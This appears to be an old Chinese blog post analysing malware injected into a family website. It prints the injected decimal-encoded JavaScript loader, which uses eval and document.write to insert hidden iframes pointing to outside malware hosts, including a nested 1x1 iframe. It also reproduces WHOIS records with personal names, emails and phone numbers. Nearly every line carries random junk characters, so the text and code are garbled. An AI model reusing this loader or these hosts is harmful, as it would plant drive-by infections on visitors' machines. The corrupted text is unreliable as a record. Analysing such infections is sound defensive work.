首发在我的博客里面，
sy;_%,}N Gw)>i45 : http://www.areway.cn/?p=175 fG*366W ]EZiPW-uy
+nT(>RJR 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
+>wBGVvS #0;ULZ99aH <script>t=’60,105,102,114,97,109,101,
9k[>(LC 32,115,114,99,61,104,116,116,112,58,47,47,
KWH l+p L 102,114,101,101,46,117,45,117,117,117,46,99,
0xQ="aXE 110,47,101,114,114,111,114,46,104,116,109,
8Mf{6& F= 32,119,105,100,116,104,61,49,48,48,32,104,
zwa %$U 101,105,103,104,116,61,48,62,60,47,105,102,
U%nLo[k 114,97,109,101,62′;
kKP< K+hH t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
,a Bo
p# _w KaFf <script>t=’60,105,102,114,97,109,101,32,115,
j6_tFJT 114,99,61,104,116,116,112,58,47,47,102,114,
-@EAL:kY 101,101,46,117,45,117,117,117,46,99,110,47,
e=m=IVY #W 101,114,114,111,114,46,104,116,109,32,119,
mjtmN0^SR 105,100,116,104,61,49,48,48,32,104,101,105,
GnzKDDH
' 103,104,116,61,48,62,60,47,105,102,114,97,
swh8-_[ c/ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
- .EH?{i document.write(t);</script>
-x?I6>{ <//#0r* <html xmlns=”
FELDz7DYya http://www.w3.org/1999/xhtml J*} warf& “>
U'(@?]2 <G <head>
^Voi 4; <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Tpp uEC> <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
FbWcq_ <title>首页 - 爱生活家庭网
j aEU z5 T7bD t 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
<+mYC'p 转换字符串后的大概内容是（谁点击后果自付）：
88l\8k4r <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
9$[PA jwk v?=y9lEH@% 查询玉米u-uuu.cn的详细信息：
p&nPzZQL( Domain Name: u-uuu.cn
%H Af orH ROID: 20070901s10001s64972306-cn
DQy<!Wb+ Domain Status: ok
ym =7E Y?o Registrant Organization: 王雷
j @HOU~x Registrant Name: 王雷
[PW\l+i Administrative Email:
czlovexs@126.com ?~p]Ey}~9 Sponsoring Registrar: 北京万网志成科技有限公司
<n-}z[09 Name Server:ns.yovole.com
fZ5zsm' N Name Server:ns1.yovole.com
z?DI4 O#Up Registration Date: 2007-09-01 17:54
9z$fDs }.q Expiration Date: 2008-09-01 17:54
5Y(<T~ 最后PING了一下地址 都没有什么….
45aUz@ b?kY`L C 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
;[-TsX: <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
^t TASK <script language=”javascript” src=”
F!_8?=| http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script a7@':Rb n >
qbsmB8 rh 这个玉米应该有可能是木马作者的：
J^V}%N". foafau.info的详细信息：
BH"OphE Access to INFO WHOIS information is provided to assist persons in
?XIB\7} determining the contents of a domain name registration record in the
qC x|}5: Afilias registry database. The data in this record is provided by
QB.QG!@ Afilias Limited for informational purposes only, and Afilias does not
<%iRa$i5 guarantee its accuracy. This service is intended only for query-based
4Y5lP00!} access. You agree that you will use this data only for lawful purposes
Mm)yabP and that, under no circumstances will you use this data to: (a) allow,
[2$mo;E? enable, or otherwise support the transmission by e-mail, telephone, or
kfV}ta'^S facsimile of mass unsolicited, commercial advertising or solicitations
|ns
B'Q to entities other than the data recipient’s own existing customers; or
[p+ -]V (b) enable high volume, automated, electronic processes that send
.C*mDi)wZ queries or data to the systems of Registry Operator, a Registrar, or
~jR4%VF Afilias except as reasonably necessary to register domain names or
m!K`?P]:N modify existing registrations. All rights reserved. Afilias reserves
J yO2 P the right to modify these terms at any time. By submitting this query,
g2;lEW you agree to abide by this policy.
{ MV,>T_ Domain ID:D22418703-LRMS
jP{&U&!i Domain Name:FOAFAU.INFO
)! eJW( Created On:20-Nov-2007 16:05:42 UTC
r@a]fTf Last Updated On:20-Nov-2007 16:05:44 UTC
5MCnGg@ Expiration Date:20-Nov-2008 16:05:42 UTC
({OQ
JBC Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Uc;~ q-??# Status:CLIENT DELETE PROHIBITED
:N^+!,i Status:CLIENT RENEW PROHIBITED
Yu$QL@ Status:CLIENT TRANSFER PROHIBITED
OUk"aAo Status:CLIENT UPDATE PROHIBITED
SF= TG84< Status:TRANSFER PROHIBITED
R*=88ds Registrant ID:GODA-040110615
^6On^k[|fw Registrant Name:liu hong
9 {wRqY Registrant Organization:
Qhq' %LR Registrant Street1:beijing
VI Huo, Registrant Street2:
,v%' 2[} Registrant Street3:
c'.XC} Registrant City:beijing
#CV]S4/^ Registrant State/Province:
M#_ |WL~ Registrant Postal Code:100000
'u:-~nSX) Registrant Country:CN
PjD9D. Registrant Phone:+86.860108888777
i\,I)S%yJ Registrant Phone Ext.:
p|C[T]J\@ Registrant FAX:
fX.1=BjX i Registrant FAX Ext.:
k^Q.lb
{ Registrant Email:bbbshiji@163.com
Vu,e ]@ Admin ID:GODA-240110615
Y4C<4L? Admin Name:liu hong
P)l_ :;& Admin Organization:
f"*k>=ETI Admin Street1:beijing
=C2KHNc Admin Street2:
vc :% Admin Street3:
/&c2O X|Z Admin City:beijing
g#MLA5%=u Admin State/Province:
Gp{,v Admin Postal Code:100000
Cz)&R^ Admin Country:CN
nwp(% fBo Admin Phone:+86.860108888777
wFX9F3m Admin Phone Ext.:
.g 3=L Admin FAX:
&7i&"TNptP Admin FAX Ext.:
2t4\L3 Admin Email:bbbshiji@163.com
Mf2F LrAh Billing ID:GODA-340110615
q 3<kr<SP Billing Name:liu hong
En:>c Billing Organization:
6`@b@Kd Billing Street1:beijing
F"bz<{ Billing Street2:
=?c""~7 Billing Street3:
hrm<!uKn Billing City:beijing
au04F]-|j8 Billing State/Province:
vK% *5 Billing Postal Code:100000
-p>~z ) Billing Country:CN
-@e2/6Oi Billing Phone:+86.860108888777
d[>HxPwo Billing Phone Ext.:
[~u&#!*W Billing FAX:
f4
qVUU Billing FAX Ext.:
zXM,cV/s Billing Email:bbbshiji@163.com
?G5,}% Tech ID:GODA-140110615
?!K6")SE Tech Name:liu hong
9b&|'BBW Tech Organization:
P}]o$nWT Tech Street1:beijing
xbBqR _ H_ Tech Street2:
4-t^?T: qF Tech Street3:
5f{P% x( Tech City:beijing
:\vs kk), Tech State/Province:
|{&M#qXe Tech Postal Code:100000
)S
7+y6f&* Tech Country:CN
r\d(*q3 B Tech Phone:+86.860108888777
43pe6 ^. Tech Phone Ext.:
|mP};&b Tech FAX:
^$5 0[ Tech FAX Ext.:
5Yhcnwdm! Tech Email:bbbshiji@163.com
'f!U[Qatg Name Server:NS27.DOMAINCONTROL.COM
@zC6` Name Server:NS28.DOMAINCONTROL.COM
(c>g7d<>n Name Server:
l2LLM {B Name Server:
p]%di8&;N Name Server:
=C2sl;7~* Name Server:
K Ax=C}9 Name Server:
}b1FB<e] Name Server:
":_II[FPY Name Server:
o]~\u{o#. Name Server:
d)e mTXB( Name Server:
`0N7G c Name Server:
J Cq>; br. Name Server:
_0jR({\ {G Jl<G1 接着下载每个文件里面的代码：
+]s,VSL5` 一步一步看..
S~i9~j A 
>UMxlvTg& 
4SZ,X^]I> 
1vxRhS&FY 
N(Ru/9!y"
ejlns
~ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
